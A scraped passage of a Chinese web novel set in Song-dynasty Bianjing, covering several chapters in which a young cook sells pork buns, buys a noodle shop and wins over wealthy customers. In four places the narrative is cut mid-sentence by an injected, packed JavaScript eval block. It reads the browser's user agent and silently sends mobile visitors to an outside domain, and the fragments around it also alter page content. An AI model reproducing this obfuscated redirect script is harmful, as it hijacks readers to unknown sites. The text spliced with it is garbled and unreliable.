小厮满脸复杂，半晌憋出一句：“上回不该那样冲撞娘子，回去后，阿郎已经训斥过奴了。” 又不是什么杀人放火的罪行，犯不上原不原谅，自己更不是判官。虞蘅看他年纪比阿盼还小，又感念在那好几两白银的份上，到底多一句嘴，劝他日后莫再冲动，没什么不得了的大事。 小厮总算拎回来食盒，小郎君们的饭席已经过半了。其实这会距他出去跑腿才不过半时辰，只是大伙年纪小，又不喝酒，吃吃菜说说笑，是很快的。 小厮紧赶慢赶，原以为要被大丫鬟训“怎的这般慢，可是偷懒耍滑头去了？”却没想并无人问责他。 王融见他买回来馒头，很是高兴，大声介绍：“这便是今日我说那家豕肉馒头，是真好，我昨日吃撑晚睡， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15092344|163668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今日起迟就是因为这，你们不信便尝尝！” 与王融同书院的几家小郎君，家中长辈莫不是朝廷有头有脸的人物，对他如此直白夸赞的豕肉馒头有些嗤之以鼻，仿佛吃了便是掉价，沦落得与那些平日只吃得起豕肉的庶民一般身份。 但也有还与王融一般被家里宠得没边儿，心性单纯，毫不芥蒂这些的，伸手就拿：“我倒尝尝！” 还有开玩笑的：“若不好，你便独自将这几十个大馒头吃了，我们看着。” 王融自己也拿了个，就差拍胸脯了：“你放心。” 众人咬第一口，大半都是皮子，软乎是软乎，却没尝出什么，再第二口，嗬！ 果真好！ 可没人忙着点评，桌上沉默了，竟都张嘴大口咬馒头。要么便是方才不屑伸手的，此时有些懵地看着他们。 怎么不说话？好是不好？ 还等着笑话王五呢！ “吃着怎样？” 这时候王融也担心自己口味与常人有异，毕竟审美与口味都是很私人的属性，推荐给旁人，无异于光天化日没穿衣裳，就怕被人指指点点身材。 毕竟王融有点胖。 众人本也不看好，抱着试试心态尝了下，这馒头…… “这馒头瞧着平平无奇，还不如我家厨娘手艺，可味道真挺好。”一人刚解决完整个馒头，才有空感慨。 “肉既嫩，又不腥气，这怎么做的？”还有人想挖到方子或厨娘回去献宝的，日后想吃就能吃上。 王融放心了，嘿嘿笑了两声，脸颊鼓鼓囊囊都在颤动：“别想了，我阿兄说了，这摊主娘子很有骨气，不愿为奴婢，否则早便请来我们家了。” 倒不是王献有这么敏锐的舌头，而是今日问了裴垣，得到答复才彻底将“两人”联系起来的。 众人唏嘘遗憾，又眼里亮起光：虽不能请为自家厨娘，可州桥离着书院不远，他们日日都可遣小厮去买来啊！ 剩几个自恃身份的还端着不肯下筷，见他们都放开了大口吃，各自对视一眼，嫌恶地挤挤眉弄弄眼。 一人笑道：“至于么？不就是豕肉馒头，我家新近请回来个擅做羊头签的厨娘，你们什么时候来尝尝。” 却无人理他。 只有那几人中有人附和：“后日旬假，我带上夫子布置的课业去你府上，咱们一道探讨。” 王融才不理他，败兴的家伙。 可第二日，州桥南面，虞记食摊前。 “诶，王兄！” “诶？邓兄？” “大家竟都来了，真是巧！” 摊子上都是相熟的同窗，互相招呼着，有几个遮遮掩掩的便显得尤为可疑。 王融眯着眼睛看了许久才上前一把将其中一人用来遮挡的面罩掀开。 嗬！ 这不是昨日嘴里嫌弃说着不肯食“贱肉”的那谁谁吗！ “诶……”旁的同窗便显得清澈多了，满脸的茫然。 那三人将脑袋几乎埋到碗里去，任他们如何揶揄打趣，就是不肯抬起来。 虞蘅忙得几乎累死，压根不知为何，这一晚就跟小学生团建似，入目皆是豆大点的萝卜丁。 还都很能吃。 15. 第 15 章 这几日与萝卜头们混熟了，虞蘅挨个儿都能叫出是谁家的小郎君，行几，爱吃什么口味馅儿。而面对年轻貌美的摊主，小孩们则格外嘴甜，一口一个“姊姊”，哄得虞蘅心花怒放。偶尔手边有包剩的剂子，便捏出个面老虎给他们拿着玩。 阿盼浑身刺挠，见小孩来了，便远远躲到一边去。 虞蘅表示理解，十四五岁正是对小孩看不上的年纪，不信回头问一嘴家里的大孩子，还有谁没打过弟弟妹妹的呢？ 然因对方是消费者缘故，虞蘅还是劝诫阿盼，对客人要客气着些。 阿盼正踮脚抹推车顶上的灰，听见虞蘅这样说，抬头看她一眼，“哦，知道了。”又立刻垂下眼皮，手下动作更用力了。 虞蘅琢磨着，这孩子怎么生闷气呢？ 她从前便不大能想通为何有时聊的好好的好友突然生气，于是决定不浪费这个脑细胞，直接出击：“怎的了，谁得罪你了？” “没有，”阿盼瓮声瓮气，“蘅娘子今晚不是还要给沈小郎君做甚么面猴子，就别管我了。” 这是说她昨日给王五郎捏了个齐天大圣，黄衫虎裙金箍棒，好威风，沈翰林家的七郎见了喜欢得不行，也央着要个“同款”。只手边没剂子了，便答应他今日再补上。 虞蘅再是个木头，也听出来这话里酸溜溜，顿时懂了，这是介意她待他们比旁的客人亲近，孩子吃醋了啊！ 她与阿盼讲道理：“那沈家小郎昨日点了两笼香蕈馒头，付了二两银，这银子我们买什么不好？不过一个面疙瘩，哄得他常来，得益的是谁？” 一是“我们”，一是听着她这样“算计”那沈小郎，话里话外谁才是自己人……阿盼嘴角翘起：“知道了。” 还是三个字，这回语气明显高兴不少。 呵，小姑娘，虞蘅失笑摇摇头，走回厨房去。 夏令推出的新样式馒头虽不如招牌灌浆馒头那样老少咸宜，但也让虞蘅赚了不少，尤其书院学生这一波。 虞蘅夜里盘点，算上打赏的小费与先前裴家给的赏钱等七七八八，手里竟然有三十余两，似乎离着盘间铺子的生活已经不远了。 她想到什么，立马趿鞋下床将床底的木箱子拖了出来，翻出当初上京带的那破包袱。 当时族中长辈担心她一人出远门被坑蒙拐骗去或受欺负，欲派个远房婶子看护，待“监督”她成了六礼再回来。只是那被选中的堂婶与丈夫感情甚笃，不大乐意离家太久，虞蘅更不想一路还要与不熟的长辈同行，尬聊寒暄，极力否了这决议。 但长辈们的担忧不无道理，于是虞蘅只带两身旧衣裳，用破包袱装着，打扮成落魄人家模样，又将仅剩首饰都换了银钱，各处分散藏着，叫自己看起来尽量不像只“肥羊”。意外是路上遇见阿盼，花去了大半，剩下的勉强足够一路的嚼用。 阿盼看她在里面翻找有些不解：“蘅娘子，这些衣裳拿去卖，铺子也不收吧？”里头衣裳又穿了一季，已经旧得不能穿了。 虞蘅总算从里头翻出一根簪子来。金刚石的呢，尽管屋内只有蜡烛微弱的火光，也是熠熠生辉。 单独留着这一根簪子，倒不是出于什么浪漫爱情故事，而是刚钻坚硬，若路上碰见坏人，最后还能从头上拔下这支簪子，奋力一搏。 金银什么的都太软了，这簪尾部被她削得尖利，若能击中，必定见血。 阿盼万没想到是这个理由，她想象了下那场景，坏人当然该死，只她觉得怪怪的，却又说不上来哪里怪。 虞蘅随手挽了个旧时在家梳的髻，簪上发簪问：“好看？” 阿盼没见过她梳这样温婉的发式，稀奇地围着看了又看，赞道：“真好看！” 阿盼看着眼前披着半干头发，穿家常寝衣，盘膝而坐还冲她笑的小娘子，仿佛一株雨后清荷，总算知道刚才觉得哪里奇怪了。 蘅娘子生得白，皮肤又嫩，就该像旁的贵女那样娇养着才是，可现在手背上好几个被油蹦伤的点子，红得醒目。 一个人远行该多怕碰上坏人呀！自己跟同村好几个女孩儿被卖都怕得不行，可她还能拿此事作笑话讲给旁人听。 阿盼仿佛吃多了腌梅子，嘴里发酸。 随即又见虞蘅将头发拆了，那光彩熠熠的刚钻簪子被擦拭干净。 虞蘅笑道：“眼下用不上了，明日当了去，能换不少钱呢。” 阿盼瞪眼：“这是夫人遗物，蘅娘子……”何至于此？ 虞蘅摆摆手：“这簪子不过占个名贵难得，并不是我娘最爱那支，要说念想，实算不上。” “何况老家还有宅子，虽然奴婢都遣光了，家私摆设俱在，想家了，回去看看即可。” 阿盼早就想问：“既家里有宅，蘅娘子何必上京？” 虞蘅拍拍她的头，不答反问：“觉得如今日子不好？” 阿盼摇头：“虽劳累些，可比起从前在家吃爹娘的，吃不饱且要挨骂，已经是神仙日子了。” “那就是了。” 虞蘅自己在自己家，有许多顾忌，束手束脚。且没有直系亲属，旁人总会想方设法给她寻个看护人。族人当然是出于好心，可寄人篱下的日子哪有好的？ 阿盼隐隐约约有些懂了，不再追问。 酷暑难消，整晚一丝风没有，没了“鬼哭”，满耳灌的都是蝈蝈蝉鸣，虞蘅与阿盼依旧睡不大好。 即使两人开窗睡，床上还铺了降温的竹篾席子，每日睡前都用清凉的井水擦拭过，早上醒来上头还是留下了黏腻的人形印子。 虞蘅有些烦躁地呼出一口热气，推开门走出去，一下醒神不少。 黎明前大约下了点雨，地面上有几团落花，微湿的风带着沁人香气悠悠凉凉扑在面上，仿佛露水沁入心脾一般清凉爽快。 虞蘅趁凉快出了门，她要活当，年后再赎回去，期间免不了一番讨价还价。 那尖脸猴腮的伙计当真精明，既嫌这刚钻“不够透”，又嫌样式过时老气，一番拉扯，最后算她六十五两。 六十五两换成铜钱可着实不少，虞蘅要了面值五十两的交子，另十五两只要白银。 这样的客人有些少见，伙计顺嘴多问了一句：“客人急用钱，该换铜板才是。”毕竟市面上白银少。 虞蘅进城一趟，本就存了打听的意思，那跟谁打听不是打听？便问眼前的伙计：“您可知这附近哪有铺面转手的？钱银多少？” 当铺每日接待的客人鱼龙混杂，来自五湖四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15092345|163668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海，还真被她挖出点消息，说街头枣花巷有一家食铺开不下去了，挂了转卖的牌子。 因生意惨淡，许多看客芥蒂这点，谈黄了几次，原主人也没了高价转让的心气儿，只叫五十两。 五十两，这下倒许多商贩心动，毕竟周围铺子但凡齐整些都，都得七八十两呢。只是恰好那人也要白银结清，又要得急，众人担心他是骗子，不然等不到虞蘅来问。 虞蘅去看过那铺面，开在河岸，边上是码头，对面又有酒楼吸引客流，怎么会生意不好？多半不是地段出了问题，许是店家手艺不好。 白日看不出来太多，虞蘅不急着买，便又约了孙娘子出来，去先前那家伞铺实地勘察。 买东西尚且要货比三家，何况这几十两现银的交易呢。 到了地方却有些遗憾，那伞铺主人年纪老大不小，家中催得急，已经于三日前找到了买家，收拾包袱离京了。 伞铺挂上了“凉水”、“饮子”的招牌，买卖红火。 人总会美化自己没走过那条路，眼下，虞蘅懊悔羡慕得牙根痒痒，没忍住买了盏凉水荔枝膏。荔枝膏里头加些碎冰，喝起来冰冰爽爽的，甘甜凉滑而不腻，在这炎热夏日里多少解了心火。 又问了一圈，都没有合适的。 阿盼担心再晚些那五十两的便宜又被人捡去了，虞蘅沉吟，看眼将落未落的日头，罢了。 便回到方才那食铺，原主人正与一买家讨价还价，许是对方压得狠了，脸色很不怎么好看。 虞蘅跨过人流走过去，那原主人还记得方才来过这位小娘子，因她并没有似旁人一般挑拣嫌弃狠压价格，印象很不错。 虞蘅刚巧碰上他与买主话赶话：“三十五两？天边日头这样大，您倒是做起梦来了！我宁愿四十两直接卖给这小娘子，也不卖你。” 虞蘅怕他反悔，忙不迭一口应下：“好！四十两，我付现银给您，咱们即刻签了文书。” 正想提价的买主：“……” 原主人冷笑一声，对着虞蘅和缓了脸色：“小娘子好爽利，咱们这便去官府过了手续。” 平白捡了大漏，虞蘅晕乎乎还不敢信，直到孙娘子问她可要搬城里住？ 虞蘅想了想，这样一来，住城郊的确有些远不方便，况且比起先前预算省了十两银子，的确能换一间近点儿、住着舒坦点的宅子。 只是没租够赁期就要毁约，虞蘅还有些不好意思。 见她少有地扭捏起来，孙娘子“噗嗤”笑了：“我们家在城内有套宅子，本是我与官人新婚住宅，只是舅姑年纪大了，舍不得城外的老朋友，还能自种些菜、养些鸡鹅，郎君又是个孝顺的，我们才跟着搬过来。” 虞蘅忙问：“宅址何处？索价几何？” 孙娘子拍拍她手：“我们自家宅子，本是不外租的。可你才帮我大忙，我心里是很喜欢你的。” 听前半截，虞蘅的心已经沉下去了，可后头话锋一转，似又有希望，虞蘅忙拍胸脯保证：“娘子知道我为人，我们住屋，一定当自家房屋爱惜，赁钱也按时履约。” 孙娘子点点头，先带她们看过房屋，再谈价格，最后以每月两千文价格签了契，付了钱，只等过几日收拾好铺面再搬家。 16. 第 16 章 新房屋比起她们先前住的小院果然齐整不少，砖地粉墙，关键是院子大得多、隔音好得多，再不用担心邻居打架时锅碗飞到自家来。 阿盼收拾东西一连收拾了五日，每日不过将那几套衣裳翻来覆去折，拦都拦不住。 还有每日早晚出摊，都忍不住满脸喜气洋洋地告诉每一个老客：“我们将要搬到城里去，就在枣花巷做买卖，还请诸位客人多多来捧场啊！” 有人惊讶：“啊呀两位娘子就攒够买铺钱了么？真能干啊！” 也有遗憾的：“我不常往城里去，原本每日早晨都能吃到这样好的豕肉馒头，日后却难了。” 更多的则是送上祝贺：“虞记买卖这样红火，一定去捧场。” 虞蘅一并笑眯眯回道：“届时一定给诸君打多些折扣。” 从一个已经熟悉的环境搬移到完全陌生的新环境重新开始，是人都会忐忑，但有身边人的鼓舞、原先食客对自己手艺的支持，虞蘅觉得未来就是一条康庄大道等着自己，甚至夜里做起梦，梦见先前给阿盼画的饼，有百丈高空大酒楼，招牌名扬汴京，官家微服私访来了，亲赐匾额，还有皇太后指名赞好的河豚羹，天南海北的旅人来了汴京，都得到自家排队尝尝。 被这梦笑醒，一抹嘴角发现枕巾被哈喇子打湿，虞蘅翻了个身。 天光微亮，透过直棂照亮室内一隅。 想到还没逛过卯初的汴京呢，虞蘅收拾好自己出门，给还在睡梦中的阿盼带好院门。 城中已有早起的菜贩挑着担子沿街叫卖，篓子里装的是水灵灵的夏蔬瓜果，刚从地里拔出来的，上头还沾了湿泥，偶有几家屋顶上方逐渐升腾起炊烟，路过别人家院子，小院里鸡鸣犬吠，女主人笑斥丈夫上工起迟了，书院里朗朗读书声。 比起现代大都市，满满都是烟火气息。 眼见着天光就要大亮，虞蘅在一老叟摊上买了茄子与藕带，赶在热浪翻滚起来之前回去了。 说来也巧，食铺对街的酒楼，玉壶春，在虞蘅老家苏州清江县①城境内也有一家，生意着实不错。 在蒸煮煎炸之类仍是主流烹饪方式的当下，玉壶春的菜品多是小炒，“锅气”很足，很合虞蘅的胃口。 虞记食铺目前还没用上炒锅，主打还是蒸、煮、炖、炸几样。先前的主人只留下灶台、一顶雨棚、两扇橱柜、几张桌椅而已，剩余能带走的，就连棚顶坠下来用来遮雨挡阳的油布都尽数搬空了。 置办这些物什又花去大几两，算下来也没比先前便宜。 不过刚好，虞蘅也不想用那些落了漆的旧物，甚至将桌椅都拆了旧的、打了新的。 阿盼认为没必要费这钱，先前桌椅橱柜虽然旧了些，也还能用，能省则省呗。 虞蘅是嫌弃上头陈年积攒的一层油垢，怎么也洗不掉。做餐饮最重要便是干净，连味道都得靠边站，看着埋汰，客人不愿进来也正常。 偶发性洁癖犯了的虞蘅一通收拾，几乎铲掉一层墙皮，终于叫食铺焕然一新。 挂上幌子同色系的浅青布帘与屏风，几张竹藤编的桌椅错综摆着，统一的青白棕色系，即使是白热夏日望去也怡然。 四月廿八，经过一番前期宣传的虞记食铺总算开了张。 开张头一日，除去有先前两边摆摊积攒的几位熟客找了过来，更多人路过食摊只好奇张望一眼，并不停留。 没关系，虞蘅将锅子煮开，一股浓郁酸香沿街飘了出去。 满街热哄哄的，虞记左右是卖胡饼与卖油炸签食的铺子，光空气里浮动的油炸烘烤味与热油的温度就叫大部分人“敬而远之”，这股酸香就跟旱日里一瓢清水似的，解了周遭油腻，不多久功夫就引来一个穿襕衫的书生。 “你这卖的什么？” 书生好奇看向锅里，当中红汤翻滚，迥异旁的食铺动不动高汤、鸡鸭汤，这红汤表面一层没有太多油花，从咕嘟咕嘟冒泡边缘依稀可辨花椒、番椒、葱段、香蕈等好几种配材，闻起酸酸呛呛的，使人口中不自觉分泌津液。 虞蘅笑着介绍：“烩面、烩饺，若不想吃热汤，那儿还有冷淘。” 原是个面食铺子。 冷淘并不是太稀奇东西，书生看眼另一边锅碗，凉水素面，于是兴致缺缺，要了一碗烩面，十五文而已。 汤是早备好的，面也擀好了拿半干湿布盖着，摊主与跑堂的小娘子搭配熟稔，汤面很快就端了上来。 书生瞧那粗瓷大碗里，面汤色泽红艳，浸着宽宽薄薄几根面条，微微波浪型边，想必嗦起来一定筋道。顶上缀几颗葱花芫荽，这个价格，素面而已，是没有肉的。但筷子一捞，底下还烫了几根青菜跟粉丝子，嗬，挺丰盛阿！ 他吸吸溜溜卷起一筷子面条，扒在碗边连带汤汁一块进了嘴里。醋味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15092346|163668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先抢了舌头在前，以至于没防备，后知后觉被食茱萸与番椒的辣给呛出了眼泪。 “咳咳咳！！”惊天动地的一咳。 眼下的食铺有些像后世半敞开式厨房，仍旧建在室外，因为沿街，大小规格都有限制，头上搭一顶遮雨棚，就算是“铺”了。 唯一与她推车到处摆摊不同的恐怕就是在官府有报备，有个固定摊位，客人好找。 可坏处也体现在这儿，客人用个餐、厨子做个菜，都没有隐私可言，一切都暴露在路人面前。 旁人被他动静吓一跳，虞蘅赶忙端来茶水：“客人当心些，这汤里放了好几种椒，要么给您换一碗？” 书生摆摆手，他自岭南来，求学数载，自认已经习惯此地饮食，没想到今日折戟，竟在一小摊儿上，看来还是不能小瞧了川饭。 “无碍无碍，”书生掏出袖中帕子擦擦脑门，被人围观看着有些尴尬，于是找补，“我颇喜食辣，只是方才心里想着别事，这才没防备。” 众人听他口音，观他面貌，了然笑笑，并不拆穿。 做足了心理准备，再次面对酸汤时，书生便谨慎得多。 小心翼翼拨开汤面浮着的那些椒壳，只挑起一筷面条，轻嗦入口，果如他料想那般爽滑劲道！ 这酸辣汤底虽烫，却并不油腻，十分开胃，喝过上瘾。 里头几根青菜是现烫的，只过了下沸水断生，还脆嫩嫩呢。 还有已经吸饱了汤的香蕈，朵大肥嫩，被切成段，咬下去柔软多汁。 得其法后，书生便逐渐敞开了吃喝，那恨不得将碗底汤都喝干的架势叫外头那些路人见了颇为心动。 那红艳艳汤头、绿油油菜蔬、白生生面条……一定好吃！ 又有几个客人走进了食铺，要烩面的、烩饺的都有，几张桌椅坐得七七八八，至少比料想的境况好得多。 虞蘅也不急，先前这儿的食铺生意冷淡，旁人已习惯了不来，人都有从众心理，只叫他们这几日看着铺子换了主、生意渐好，便又会重新光顾了。 元六一进枣花巷就没忍住吸了吸鼻子， 好香！ 他没吃暮食，腹中空空，可心里挂记着阿郎的吩咐，没敢多耽搁。可今日走出老远还能闻见那股酸酸辣辣的霸道香气，馋虫都快顺着嘴角哈喇子爬出来了。 可恶！到底什么味道这般勾人？ 17. 第 17 章 元六办完事，除了拎回来自家酒楼的细粉与煎夹儿，另还有曹记的杏片、沈记的梅子姜这些开胃从食，周记点心自然也不能落，藕粉桂糖糕与间道糖荔枝，都是捡的卖得好那几样。 谁知二郎瞧也不瞧，挥挥手就叫他拿走了，那这些吃食自然又该进他胃里。 元六高兴也不高兴，才转过身，就听见二郎询问：“你拿的是什么？” 元六右手里拎着的，是方才回来时给自己买的酸汤烩面。 两次路过虞记，到底没忍住嘴馋。 “留下那样就好。”谢诏闻见酸味，倒有些饿了，毕竟一天没怎么吃。 拓了一天古书，屋里全是墨汁味，他嫌再点香反而冲鼻，拿水泼了，檀香味道却不好散。虽下午开了门窗叫空气好流通，可夏风吹起来是温热的，连汗都吹不凉。 前后这么一蒸，真就食欲全无，幸好还有对吃食琢磨精深的元六，知道醋的酸味可以增进食欲。 元六一咬牙，虽说有些舍不得，可瞧瞧手里多多加了麻饮的细粉、油香肉厚的煎夹儿，都是自个平日爱吃又不舍得买的，左右这酸汤烩面经济实惠，自个明日再买呗！ 想到这，他应了声“好嘞”，喜滋滋搁下酸汤，捧着另外三四袋吃食走了。 谢诏净了手，洗去墨汁，才打开食盒。 比脸大的朴素的粗瓷海碗稳稳当当放在格中，顶上还有一层佐面的小菜，几朵炸南瓜花、红油凉拌的胡瓜，味道都不重，不会喧宾夺主。 闻着那鲜香酸辣的味道，谢诏取了筷子，先夹一块胡瓜条。 红油缓缓流动，给青翠素淡的胡瓜增艳不少，今日新鲜现摘的胡瓜，没过腌制，入口脆嫩嫩，咀嚼时发出“咔嚓”轻响，芝麻、食茱萸油与盐醋汁调味，只香不辣。 家里做饮食生意的，舌头不能不灵，对谢诏来说，像这样的凉拌胡瓜，或许拘于食材受限，因此不能与大酒楼庖厨的出品相比，但依旧可以吃出对方调味的功夫很足，经验老道。 有这般功夫的，一定是从业十余年的老师傅。 那炸南瓜花也是，面糊裹得均匀且薄，因此并没吸附太多油脂，嚼着香酥不腻，带着淡淡的南瓜清甜。 小菜尚且如此，主食呢？ 盆一样的面碗，估计又是元六特意要了双倍的量，人未靠近，辣辛气就已经扑鼻而来了。 葱末蒜末还有花椒、芝麻、茱萸、番椒磨成的碎末堆在面码上头，须得一勺烧滚的热油最后浇上去，“兹”一声过后，才有这般香气。 凑近看雪白的面片裹着红汤，酸辣味儿已经浸得透透的了，又沾着些芝麻碎，增香增酥。 看着色泽红艳的这一碗，还真别说。 这样一碗酸汤，吃着口味重，毕竟重醋重辣重盐，可吃过后口感却很清爽，不似鸡羊骨熬的高汤那样，喝下去嘴里会反上来一股味儿，爱的人会说这汤又香又醇，不爱的只觉得舌根发腻。 精致食脍吃多了，才能体会街边脚店亦有街边脚店的妙处。 食者不嫌弃脚店卖相粗粝与摆盘随意，脚店亦包容众生万相，也唯有脚店，才不会介意你是小口细品，还是风卷残云。 谢诏吃得很是舒畅。 吃完碗里料，再喝两口汤，肚里也舒坦得很。 毋庸置疑，夏夜温度很高，刚出锅的面汤很烫，谢诏吃着不多会就出了汗，可这汗并不湿黏在身上使人心烦，而是能感觉到身体内的积攒的湿气都排了出来，就像每日晨间练完一套剑招那样，格外畅快。 不知不觉，谢诏便把一碗特意加过量的面都吃了，赠的小菜也吃了七七八八。 关键吃完后也不会有胃里坠胀的感受，只觉得热乎乎很熨帖。 其实若早些时辰，谢诏定会吃得有些撑。戌时一过，虞蘅估摸着这会子的客人来都是吃夜宵，便不再追求将面条擀得有多“劲道”，尽量软薄些，煮透好克化。即便牙口不好的老媪带着乳牙还没长齐的小童来吃都没障碍。 头一日整晚，阿盼掰着指头数过了，酸汤烩面卖了整整三十七人，烩饺价贵，略少些，二十碗，冷淘许是竞争力不够突出，鲜有人问津。 可第二天又不一样。 外间热浪翻滚，夜晚还能喘口气，到白日里，任你怎么酸辣开胃调动食欲，还是冷淘卖得最好。 采嫩槐叶汆水研出汁子和面，抻出来碧色面条，正巧与虞蘅的围兜子颜色呼应上了。 煮熟的面条抖落开，用流动的冷水一遍遍浇凉。 街边的小食铺用不起冰，用井水效果也是一样的。再切些嫩胡瓜丝，挟筷豆芽儿，撕好拌好的鸡胸丝与罗卜丝也来点，五颜六色码在面上，浇一勺清酱与醋调的料汁子拌开，吃起消暑又清爽。 旁的食铺可能就有给你掰一段胡瓜，浇点盐卤水，自拌着吃，当然价格也更经济。 然而虞记的生意还是很不错。 毕竟又不是日日这样吃，碰上这样好看的冷淘，谁舍得不来一碗？凑吧凑吧从口袋里掏出几个子儿，扭头看一眼隔壁的盐水素面，果断选择多凑几文钱，来了虞记。 还有些人，买了隔壁的签食带过来，再买一碗冷淘吃，油炸小食配凉面，享受着市井午后悠闲安然时光，多惬意阿。 虞蘅再给他们送上一碗放凉了的绿豆稀汤消暑，不值几个钱，虞记却因此在周围收获了很不错的声望。 有食客自发宣传，不到一天功夫，附近住民挨个都知道这家食铺换了招牌与主人，味道很可以一试。 从小摊搬到食铺，也有过去相邻的摊主想起特地跑来看她，大概也是知道她捡漏了个生意不怎样的铺面，存了看笑话的心思，却没想到人家生意照样好。 元六拿着洗干净的空碗与食盒来还时，虞蘅正准备今晚的食材，已经切好的萝卜与笋丝码在缸里，倒上江米醋与粗盐，满满一盆。 昨晚人挤人，元六没仔细瞧，今日一见她，咦了声：“你不是原先桥南卖灌浆的虞娘子么？” 虞蘅闻言抬头，见是个富贵人家的小厮，娃娃脸，浓眉大眼，生得很讨喜的福相。 再打开那食盒，见碗盘已经洗得干干净净，光洁如鉴，兼之里头还放着半贯棉线串好的打赏钱。 虞蘅看对方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15092347|163668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更和蔼了，莞尔道：“我说小哥怎瞧着面善，原是熟客。早说一声，我该给你打些折扣才是。” 元六嘿嘿一笑：“现今怎么不卖了呢？” 元六的记性，能记得这街上所有好食的小摊，却记不住书本上抄了十遍的字。 照他的话说，这是专记“要事”。 吉双嗤他，吃喝拉撒，可不是人生头一要事么。 虞蘅其实也没说不卖，只是现在换了地方，空间窄小施展不开，兼人手与精力不够，暂时取舍选择了性价比更高的面食而已。 元六听罢虽有遗憾，却并没怎么放在心上，毕竟他不挑嘴，喜欢的东西有很多，何况眼下的酸汤烩面也很不错，还没尝过呢。 他想到此处，虽然才吃过午点心，又坐下要了碗面，直吃得嘴饱肚圆。 回去后将此事当闲话说与二郎听，见谢诏敷衍嗯了声就算回应了，又自顾“嘿”道：“瞧我，将阿郎当作吉双那小子了不成？” 阿郎哪里会记得街边一小摊卖的灌浆还是汤饼？ 被这样打趣，谢诏当然没理他，只凉凉瞥他一眼。 元六丝毫不尴尬，打小他跟在阿郎身边，早就习惯了阿郎的性子，别看阿郎不说什么，曾经他随口一提的事情，后来过好几年，拿这事扯了谎，阿郎都能给他揪出来。 阿郎这是将他话听进去放心里了呢，被阿娘这样哄着，才因此挨了罚的元六也没觉得哪里不对，又喜滋滋跟在谢诏背后了。 当然，谢诏也习惯了他废话多，自言自语都能说上一刻钟。这种时刻越不能搭腔，否则这厮更来劲儿。 所以他只斜他一眼，心里却是将先前席上吃过不错的灌浆馒头，与昨日的酸汤烩面给联系了起来。 虽都是面食，入门门道却不一样。京中少有这样多才的厨娘，一定是经验非常老道者。 谢诏心想，或许是与祖母年纪差不多大的老媪。 这般想着，竟然觉得昨日吃的酸汤，与儿时祖母亲自下厨烹饪做与他吃的一道饭食味道有些相似。 回忆起祖母，谢诏神色倏忽更加柔和。 恰逢谢大郎参加商行的宴席回来，似饮了不少酒，半副身子都挂在小厮身上。可怜那小厮，生得比谢大矮一个头，脸都憋红了。 谢诏看一眼元六，还未说什么，元六会意，立刻撸了袖子上前：“我来！” 每次这样表现时刻，元六总比吉双跑得快，好叫阿郎知晓，他每日的饭菜不是胡塞的，腰圆自有腰圆的好处！ 谢大的小厮小跑过来道谢，谢诏曲指揉了揉眉心：“阿兄喝了多些酒？” 谢大身边小厮道：“不多，二小壶而已。” 谢诏摇摇头，阿兄酒量还是一如既往的烂。 他温声道：“后街有个卖酸汤面的食铺，你去买一碗来，一会叫阿兄吃了，好解酒。” 吉双机灵道：“奴认得那铺子，还是奴去吧，叫元六与这小哥扶着些大郎。” “可。” 谢大郎走路姿势歪歪扭扭，一小段距离几乎折成蛇形，谢诏不忍再看，摇摇头回了寝居。 18. 第 18 章 醉酒的人，要么睡得死沉，要么话死多。 谢大郎就属于后者，这时候了，还知道不去烦自己媳妇讨嫌，扭头瞅见弟弟要走，两眼冒光，拔腿追了上来，拉着谢诏不肯放手。 谢诏无法，只得让他进了屋。 进了屋又不肯坐下，二十好几的人了，难缠如小鬼。 谢诏哪会照顾人，向来从容的性子也被他折腾得兵荒马乱。 元六敢说都瞅见他家阿郎额头上绷起的青筋了。 好在吉双腿脚快，这么会功夫，不仅买回来酸汤面条，还跑去章记买了各色签食。 食物的香味将醉酒的谢大暂时勾了去，捧着大碗唏哩呼噜吃起面来。 所谓签食，便是将肉菜切丝切条，在外裹上一层网油膜，下油锅里炸制，炸得酥香。因为炸好后的食材呈“木签”形状，才叫签食。 